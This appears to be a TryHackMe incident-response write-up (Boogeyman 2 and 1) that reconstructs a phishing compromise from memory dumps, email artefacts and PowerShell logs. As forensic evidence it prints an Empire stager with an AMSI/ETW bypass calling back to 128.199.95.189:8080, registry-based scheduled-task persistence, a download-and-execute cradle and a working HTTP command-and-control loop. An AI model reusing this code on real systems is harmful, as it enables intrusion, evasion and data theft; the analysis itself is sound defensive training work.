  0xe58f86b42440  \Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask	216
  0xe58f89295990  \Windows\System32\Tasks\Updater	216
  
$ python3 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw -o $THM/Boogeyman2/volatility/ windows.dumpfiles --virtaddr 0xe58f89295990

  Volatility 3 Framework 2.5.2
  Progress:  100.00		PDB scanning finished                        
  Cache	                FileObject      FileName        Result

  DataSectionObject     0xe58f89295990  Updater         file.0xe58f89295990.0xe58f838dcbe0.DataSectionObject.Updater.dat
```

The following is the XML configuration of the scheduled task indicating its successful creation:

```markup
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
    <RegistrationInfo>
        <Date>2023-08-21T15:14:03</Date>
        <Author>QUICKLOGISTICS\maxine.beck</Author>
        <URI>\Updater</URI>
    </RegistrationInfo>
    <Triggers>
        <CalendarTrigger>
            <StartBoundary>2023-08-21T09:00:00</StartBoundary>
            <Enabled>true</Enabled>
            <ScheduleByDay>
                <DaysInterval>1</DaysInterval>
            </ScheduleByDay>
        </CalendarTrigger>
    </Triggers>
    <Settings>
        <!-- omitted -->
    </Settings>
        <Actions Context="Author">
        <Exec>
            <Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command>
            <Arguments>-NonI -W hidden -c "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))"</Arguments>
        </Exec>
    </Actions>
    <Principals>
        <Principal id="Author">
            <UserId>QUICKLOGISTICS\maxine.beck</UserId>
            <LogonType>InteractiveToken</LogonType>
            <RunLevel>LeastPrivilege</RunLevel>
        </Principal>
    </Principals>
</Task>
```

The command being run by the scheduled task executes a base64 encoded string stored in an *HKEY\_CURRENT\_USER* registry meaning that it should be visible in the compromised user, `maxine.beck`'s *NTUSER.DAT* file. And, extracting the particular hive from the memory dump:

```shell-session
$ python2 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw --dtb=0x1aa000 --kdbg=0xf802536405e0 --profile=Win10x64_18362 hivelist                                 

  Volatility Foundation Volatility Framework 2.6.1
  Virtual            Physical           Name
  ------------------ ------------------ ----
  0xffff9582f2681000 0x000000000f08d000 \??\C:\Users\maxine.beck\ntuser.dat
  0xffff9582f1ad4000 0x0000000013f84000 \??\C:\Users\maxine.beck\AppData\Local\Microsoft\Windows\UsrClass.dat
  0xffff9582f326d000 0x000000001ed22000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.18362.387_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
  0xffff9582eae0d000 0x00000000009ad000 [no name]
  0xffff9582eae33000 0x00000000072ca000 \REGISTRY\MACHINE\SYSTEM
  0xffff9582ee925000 0x0000000023098000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
  0xffff9582eea98000 0x0000000020d34000 \SystemRoot\System32\Config\BBI
  0xffff9582eead5000 0x00000000323b5000 \REGISTRY\USER\S-1-5-19
  0xffff9582efe8e000 0x00000000054f7000 \REGISTRY\A\{c5dbb98f-ac23-f861-cb09-87c8bc73488b}
  0xffff9582f11fc000 0x00000000301f8000 [no name]
  0xffff9582f2b90000 0x00000000369ba000 [no name]
  0xffff9582eb808000 0x000000001003a000 \REGISTRY\MACHINE\SOFTWARE
  0xffff9582f050b000 0x00000000154b2000 \Device\HarddiskVolume1\Boot\BCD
  0xffff9582f2c10000 0x0000000019aed000 \REGISTRY\A\{91B92570-4098-466B-9A97-B1F699128FD3}
  0xffff9582eb805000 0x000000000ddc1000 \REGISTRY\USER\.DEFAULT
  0xffff9582f26ac000 0x000000000662b000 \??\C:\Users\maxine.beck\AppData\Local\Packages\InputApp_cw5n1h2txyewy\Settings\settings.dat

$ python2 vol.py -f $THM/Boogeyman2/WKSTN-2961.raw --dtb=0x1aa000 --kdbg=0xf802536405e0 --profile=Win10x64_18362 dumpregistry -D $THM/Boogeyman2/volatility -o 0xffff9582f2681000

  Volatility Foundation Volatility Framework 2.6.1
  **************************************************
  Writing out registry: registry.0xffff9582f2681000.ntuserdat.reg

  [..omitted..]
  ***********************************************
```

Then, looking for long base64 strings stored:

```shell-session
$ strings -el registry.0xffff9582f2681000.ntuserdat.reg | grep -i -E '[a-z0-9\+\/=]{100,}' 

  SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATwBBAEEAdQBBAEQARQBBAE8AUQBBADUAQQBDADQAQQBPAFEAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAawBBAE8AZwBBADQAQQBEAEEAQQBPAEEAQQB3AEEAQQA9AD0AJwApACkAKQA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB4AEYAfQBEAGwAWABLAHQAagBaADkALwB6AGEAUwAyAD4AcwBtAFkAaQBVAEMAKwA7AC0AeQBMAHEAUQBPAHAAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAGgAbABGAEsAcwBBAE8AagA9AFkAYgBNAEwANwAxAGsAUgBtAEsAZQBBADUAMAAzAE0AOABWAGoAcwA4AFcAOABXADQAZgBZAD0AIgApADsAJABkAGEAdABhAD0AJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAcwBlAHIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAGEAdABhAFsAMAAuAC4AMwBdADsAJABkAGEAdABhAD0AJABkAGEAdABhAFsANAAuAC4AJABkAGEAdABhAC4AbABlAG4AZwB0AGgAXQA7AC0AagBvAGkAbgBbAEMAaABhAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
  
$ strings -el registry.0xffff9582f2681000.ntuserdat.reg | grep -i -E '[a-z0-9\+\/=]{100,}' | base64 -d

  If($PSVersionTable.PSVersion.Major -ge 3){$Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADIAOAAuADEAOQA5AC4AOQA1AC4AMQA4ADkAOgA4ADAAOAAwAA==')));$t='/news.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('xF}DlXKtjZ9/zaS2>smYiUC+;-yLqQOp');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","hlFKsAOj=YbML71kRmKeA503M8Vjs8W8W4fY=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX
```

It is another Empire stager which was set up for persistence:

```powershell
If($PSVersionTable.PSVersion.Major -ge 3){
    $Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
    $Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);
    [System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);
};

[System.Net.ServicePointManager]::Expect100Continue=0;
$wc=New-Object System.Net.WebClient;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADIAOAAuADEAOQA5AC4AOQA1AC4AMQA4ADkAOgA4ADAAOAAwAA==')));
$t='/news.php';
$wc.Headers.Add('User-Agent',$u);
$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('xF}DlXKtjZ9/zaS2>smYiUC+;-yLqQOp');
$R={
    $D,$K=$Args;
    $S=0..255;0..255|%{
        $J=($J+$S[$_]+$K[$_%$K.Count])%256;
        $S[$_],$S[$J]=$S[$J],$S[$_]
    };
    $D|%{
        $I=($I+1)%256;
        $H=($H+$S[$I])%256;
        $S[$I],$S[$H]=$S[$H],$S[$I];
        $_-bxor$S[($S[$I]+$S[$H])%256]
    }
};
$wc.Headers.Add("Cookie","hlFKsAOj=YbML71kRmKeA503M8Vjs8W8W4fY=");
$data=$wc.DownloadData($ser+$t);
$iv=$data[0..3];
$data=$data[4..$data.length];
-join[Char[]](& $R $data ($IV+$K))|IEX
```

Which also calls back to `128.199.95.189:8080`:

```shell-session
$ echo aAB0AHQAcAA6AC8ALwAxADIAOAAuADEAOQA5AC4AOQA1AC4AMQA4ADkAOgA4ADAAOAAwAA== | base64 -d

  http://128.199.95.189:8080
```


# Boogeyman 1

A new threat actor emerges from the wild using the name Boogeyman. Are you afraid of the Boogeyman?

## CONTEXT

Challenge Link: [TryHackMe - BoogeyMan 1](https://tryhackme.com/room/boogeyman1)

### I. Background

> Julianne, a finance employee working for Quick Logistics LLC, received a follow-up email regarding an unpaid invoice from their business partner, B Packaging Inc. Unbeknownst to her, the attached document was malicious and compromised her workstation.

<figure><img src="https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2FrDayjBvXvpVAfSFnW5Ee%2Fimage.png?alt=media&amp;token=07f3702c-b2ae-4194-8562-8e549f9ae305" alt=""><figcaption></figcaption></figure>

### II. Tools and Artifacts

#### 1. Exfiltration

```sh
$ impacket-smbserver jebidiah . -smb2support
```

```bash
ubuntu@tryhackme:~$ cd Desktop

ubuntu@tryhackme:~/Desktop$ zip -r artefacts.zip artefacts/*  
  
  [..omitted..]
  
ubuntu@tryhackme:~/Desktop$ smbclient //10.8.81.251/jebidiah -c 'put artefacts.zip' -N

  putting file artefacts.zip as \artefacts.zip (2551.7 kb/s) (average 2551.7 kb/s)

```

```bash
$ unzip artefacts.zip

$ ls artefacts

  capture.pcapng  dump.eml  evtx2json  powershell.evtx  powershell.json
```

#### 2. PowerShell Events

```bash
$ cat powershell.json | jq -r '.EventID' | sort | uniq -c | sort -bnr

    939 4104
     44 4100
      2 53504
      1 40962
      1 40961
```

#### 3. Protocol Heirarchy

```bash
$ tshark -r capture.pcapng | sed -e 's/^[ ]*\w*\s*//g' | sed -E 's/\s{2,}/ /g' | cut -d' ' -f5 | sort | uniq -c | sort -bnr

  38769 TCP
   3422 TLSv1.3
   2060 QUIC
   1989 HTTP
   1229 DNS
   1084 TLSv1.2
     82 SSDP
     77 TLSv1
     74 ARP
     14 UDP
     12 NBNS
     10 MDNS
      7 HTTP/XML
      5 SSLv2
      5 IGMPv3
      5 ICMPv6
      5 ICMP
      5 BROWSER
      2 LLMNR
      2 DHCP
```

## ANALYSIS

### I. Email Analysis

> The security team was able to flag the suspicious execution of the attachment, in addition to the phishing reports received from the other finance department employees, making it seem to be a targeted attack on the finance team. Upon checking the latest trends, the initial TTP used for the malicious attachment is attributed to the new threat group named Boogeyman, known for targeting the logistics sector.

#### 1. Exchange Information

Looking at the following information, an email was sent by Arthur Griffin (`agriffin@bpakcaging.xyz`) to Julianne Westcott (`julianne.westcott@hotmail.com`):

```http
From: Arthur Griffin <agriffin@bpakcaging.xyz>
Date: Fri, 13 Jan 2023 09:25:26 +0000
Subject: Collection for Quick Logistics LLC - Jan 2023
Message-Id: <4uiwqc5wd1qx.HPk2p-JE_jYbkWIRB-SmuA2@tracking.bpakcaging.xyz>
Reply-To: Arthur Griffin <agriffin@bpakcaging.xyz>
Sender: agriffin@bpakcaging.xyz
To: Julianne Westcott <julianne.westcott@hotmail.com>
```

#### 2. Security Headers

Both SPF and DMARC were marked as passed which shows that there is an unlikely event of email spoofing. The email also passed the DKIM check where two signatures were detected -- `bpakcaging.xyz` and `elasticemail.com`. The latter seems to be the MTA (Mail Transfer Agent) used by the attacker.

```http
Authentication-Results: spf=pass (sender IP is 15.235.99.80)
 smtp.mailfrom=bpakcaging.xyz; dkim=pass (signature was verified)
 header.d=bpakcaging.xyz;dmarc=bestguesspass action=none
 header.from=bpakcaging.xyz;compauth=pass reason=109
Received-SPF: Pass (protection.outlook.com: domain of bpakcaging.xyz
 designates 15.235.99.80 as permitted sender) receiver=protection.outlook.com;
 client-ip=15.235.99.80; helo=pa80.mxout.mta1.net; pr=C
DKIM-Signature: v=1; a=rsa-sha256; d=bpakcaging.xyz; s=api; c=relaxed/simple;
	t=1673601926; h=from:date:subject:reply-to:to:list-unsubscribe:mime-version;
	bh=DORzQK4K9VXO5g47mYpyX7cPagIyvAX1RLfbY0szvCc=;
	b=dCB9MhhsZqg4h2P9dg5zMjLj7HVS9vt0fXuqEzH8cj6ft+YBJxvZHkF8uc+CeOas6CoICaPu13Q
	oL/xVebg3aO8bmlooJWTAZx7mmrh/1ZQBVHm3wvGVI9Xn55nhWzRGoqVOAAPPM6+MEHFwZDIjKDAs
	RpDurrnykQeCXCp127k=
DKIM-Signature: v=1; a=rsa-sha256; d=elasticemail.com; s=api;
	c=relaxed/simple; t=1673601926;
	h=from:date:subject:reply-to:to:list-unsubscribe;
	bh=DORzQK4K9VXO5g47mYpyX7cPagIyvAX1RLfbY0szvCc=;
	b=jcC3z+U5lVQUJEYRyQ76Z+xaJMrXN2YdjyM8pUl7hgXesQaY7rqSORNRWynpDQ3/CBSllw31eDq
	WmoqpFqj2uVy5RXK73lkBEHs5ju1eH/4svHpZLS9+wU/tO5dfZVUImvY32iinpJCtoiMLjdpKYMA/
	d5BBGqluALtqy9fZQzM=
```

#### 3. Email Body

It states that there is an encrypted attachment that could be opened with the password, `Invoice2023!`.

```html
<html>
<head>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-8"></=
head>
<body style=3D"font-size: 13px; font-family: Helvetica;">
<br>
<p>Hi Julianne,</p>

<p>I hope you are well.</p>

<p>I just wanted to drop you a quick note to remind you in respect of docum=
ent #39586972 is due for payment on January 20, 2023.</p>

<p>I would be grateful if you could confirm everything is on track for paym=
ent.</p>

<p>For additional information, kindly see the attached document.<br><br>
You may use this code to view the encrypted file: <strong>Invoice2023!</str=
ong></p>


<p>Best regards,<br>
<strong>Arthur Griffin</strong><br>
Collections Officer<br>
B Packaging Inc.<br><br>
```

#### 4. Email Attachment

A zip file, `Invoice.zip`, was attached to the email.

```http
--=-eZCfLFLerDWBDeKhYPAtYh7o4CYv5vMw7XWKyw==
Content-Type: application/zip
Content-Disposition: attachment; filename="Invoice.zip"; size=908;
Content-Transfer-Encoding: base64

UEsDBBQAAQAIAGiGLVZRFQDJ3gIAACgJAAAUAAAASW52b2ljZV8yMDIzMDEwMy5sbmvuhS6/jU+4
ClhWAZwY+LBcOUvw6oMIq5WNiZwjlKXvAj+pMMBFROiABqlJBxngGOoWUKX0yBXsXOhYPq3Z+Zls
vZX0xZqtZ/KWnX/QpZXzW44KZz1eqH+hnLgKXPTBsyTSqpqK9QUvYEsltPMSYnL0IqSNwX2TuL9l
oB0QB3owNKK2cltANxR5Nt3pdYwKJ4BqqI4x7D/ze4bWBT1jlR4HW8VEByEyLoc2fw3I0r0bc/8J
v9g1SZPBvshBg0pxI0/89GR2agMP+Lv6smkO/huUEOSRpidp/ft+prkt5v9sHFyS/Q0CTb9njCi2
terQ9NTeFAOkNAhGxWUPqPwPzB0cS+GBC2JY3LMqlA0K5aTejRodyVPcLlq2KVbyF7XljH2NZA4T
bFsDNJMFk2fQB1hfvmseP9FA20VAfwYvYW8GnBDdqhJtAwJ5xNvJgFFK/MTY2fChwTNN2zszqhzn
v1Sx+71+duA41HGR9K/jh4nEeRgPslOVlGtLwKBikbIpx/5ZaLpiZYwKS177jDoh3Qx+FRxsM6Ue
hjPSNgKmWHFZjReDWx8KD7qGLL9acO0hvZUuH83b70sAREDJbw+4sC2jcYO+hrHys6E4Dml030WQ
WhkKpvYv4DUw9nDmkGg4YgnyAv/iMbtImSUZQ/Wc6dEJM213hYefp8DTQZ321fZU5iCk86bAdxX2
3Ov40S9eX78X7CSp9b0QKNeC+N3JgMJ/gQrCWC73UfmHjT4mkBoP8A4YktR2LFNeistVP/zeMQPS
qUs8KaI7q+VTu/9buNeWkEW2maDm+bC0Q4AnJL+AocgZDPJ0RzfLWEpff3nbaYb6aPqhLTBfFURi
dszLIMEKmDLmiVqkWZJly9qV26NFttz5y4Q+fAATd6tMYRDlu/BFCo4+rdxjiKl0Gnn7UBHCq0gy
eEv/L8bppKI09XqNV3MJxMLBE3RN7E080hVp07qDpNpQTYEFa08gGy6yYFBLAQI/ABQAAQAIAGiG
LVZRFQDJ3gIAACgJAAAUACQAAAAAAAAAIAAAAAAAAABJbnZvaWNlXzIwMjMwMTAzLmxuawoAIAAA
AAAAAQAYAGiPRUBvJ9kBAAAAAAAAAAAAAAAAAAAAAFBLBQYAAAAAAQABAGYAAAAQAwAAAAA=

--=-eZCfLFLerDWBDeKhYPAtYh7o4CYv5vMw7XWKyw==--
```

Taking the attachment then extracting its contents using the given password, `Invoice2023!`:

```bash
$ cat Invoice.zip_b64 | tr -d '\n' | base64 -d > Invoice.zip

$ file Invoice.zip          

  Invoice.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
  
$ unzip Invoice.zip  

  Archive:  Invoice.zip
  [Invoice.zip] Invoice_20230103.lnk password: Invoice2023!
  zsh: suspended  unzip Invoice.zip
```

Examining the contents of `Invoice_20230103.lnk`:

```bash
$ lnkparse Invoice_20230103.lnk 

  Windows Shortcut Information:
     Link CLSID: 00021401-0000-0000-C000-000000000046
     Link Flags: HasTargetIDList | HasName | HasRelativePath | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | HasExpIcon - (16637)
     File Flags:  - (0)

     Creation Timestamp: None
     Modified Timestamp: None
     Accessed Timestamp: None

     Icon Index: 0 
     Window Style: SW_SHOWMINNOACTIVE 
     HotKey: CONTROL - C {0x4302} 

     TARGETS:
        Index: 78
        ITEMS:
           Root Folder
              Sort index: My Computer
              Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
           Volume Item
              Flags: 0xf
              Data: None
           File entry
              Flags: Is directory
              Modification time: None
              File attribute flags: 16
              Primary name: Windows
           File entry
              Flags: Is directory
              Modification time: None
              File attribute flags: 16
              Primary name: System32
           File entry
              Flags: Is directory
              Modification time: None
              File attribute flags: 16
              Primary name: WindowsPowerShell
           File entry
              Flags: Is directory
              Modification time: None
              File attribute flags: 16
              Primary name: v1.0
           File entry
              Flags: Is file
              Modification time: None
              File attribute flags: 0
              Primary name: powershell.exe

     DATA
        Description: Invoice Jan 2023
        Relative path: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Working directory: C:
        Command line arguments: -nop -windowstyle hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==
        Icon location: C:\Users\Administrator\Desktop\excel.ico

     EXTRA BLOCKS:
        ICON_LOCATION_BLOCK
           Target ansi: %USERPROFILE%\Desktop\excel.ico
           Target unicode: %USERPROFILE%\Desktop\excel.ico
        SPECIAL_FOLDER_LOCATION_BLOCK
           Special folder id: 37
        KNOWN_FOLDER_LOCATION_BLOCK
           Known folder id: 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7
        METADATA_PROPERTIES_BLOCK
           Version: 0x53505331
           Format id: 46588AE2-4CBC-4338-BBFC-139326986DCE
```

It executes an encoded PowerShell command which when decoded downloads a file, `update`, and executes it in memory:

```powershell
iex (new-object net.webclient).downloadstring('http://files.bpakcaging.xyz/update')
```

### II. LOG ANALYSIS

> Based on the initial findings, we discovered how the malicious attachment compromised Julianne's workstation:
>
> * A PowerShell command was executed.
> * Decoding the payload reveals the starting point of endpoint activities.&#x20;

#### 1. Timestamp Fix

The JSON included has mixed timestamps and to fix that:

```bash
$ cat powershell.json | jq -s -c 'sort_by(.Timestamp) | .[]' > powershell1.json
```

#### 2. PowerShell Logs

Looking at the executions relevant to this case, the attacker was able to do the following:

```bash
$ cat powershell1.json | grep 4104 | jq '.ScriptBlockText' | grep -v Set-StrictMode
```

The initial execution of downloading `update` from `http://files.bpakcaging.xyz`:

```powershell
iex (new-object net.webclient).downloadstring('http://files.bpakcaging.xyz/update')
```

Execute a C2 connection via HTTP Protocol Tunnelling to `cdn.bpakcaging.xyz:8080`:

```powershell
$s='cdn.bpakcaging.xyz:8080';$i='8cce49b0-b86459bb-27fe2489';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/8cce49b0 -Headers @{"X-38d2-8f49"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/b86459bb -Headers @{"X-38d2-8f49"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/27fe2489 -Method POST -Headers @{"X-38d2-8f49"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}\n
```

Which when expanded:

```powershell
$s='cdn.bpakcaging.xyz:8080';
$i='8cce49b0-b86459bb-27fe2489';
$p='http://';
$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/8cce49b0 -Headers @{"X-38d2-8f49"=$i};
while ($true){
    $c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/b86459bb -Headers @{"X-38d2-8f49"=$i}).Content;
    if ($c -ne 'None') {
        $r=iex $c -ErrorAction Stop -ErrorVariable e;
        $r=Out-String -InputObject $r;
        $t=Invoke-WebRequest -Uri $p$s/27fe2489 -Method POST -Headers @{"X-38d2-8f49"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')
    } sleep 0.8
}
```

Upload and execute **Seatbelt** (host enumeration tool) to the workstation:

```bash
cd Users;pwd
cd j.westcott;pwd
ps;pwd
iex(new-object net.webclient).downloadstring('https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Seatbelt.ps1');pwd
cd Public;pwd
cd Music;pwd
iwr http://files.bpakcaging.xyz/sb.exe -outfile sb.exe;pwd
.\\sb.exe all;pwd
.\\sb.exe system;pwd
.\\sb.exe;pwd
.\\sb.exe -group=all;pwd
Seatbelt.exe -group=user;pwd
.\\sb.exe -group=user;pwd
```

Locate a KeePass database -- `C:\Users\j.westcott\Documents\protected_data.kdbx`

```bash
 ls C:\\Users\\j.westcott\\Documents\\protected_data.kdbx;pwd
```

Read an SQLite3 database from **Microsoft Sticky Notes** stored in the user's Local AppData folder:

`C:\Users\j.westcottAppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`

```bash
cd ..\\AppData;pwd
ls Local;pwd
ls Local\\Packages;pwd
cd ..;pwd
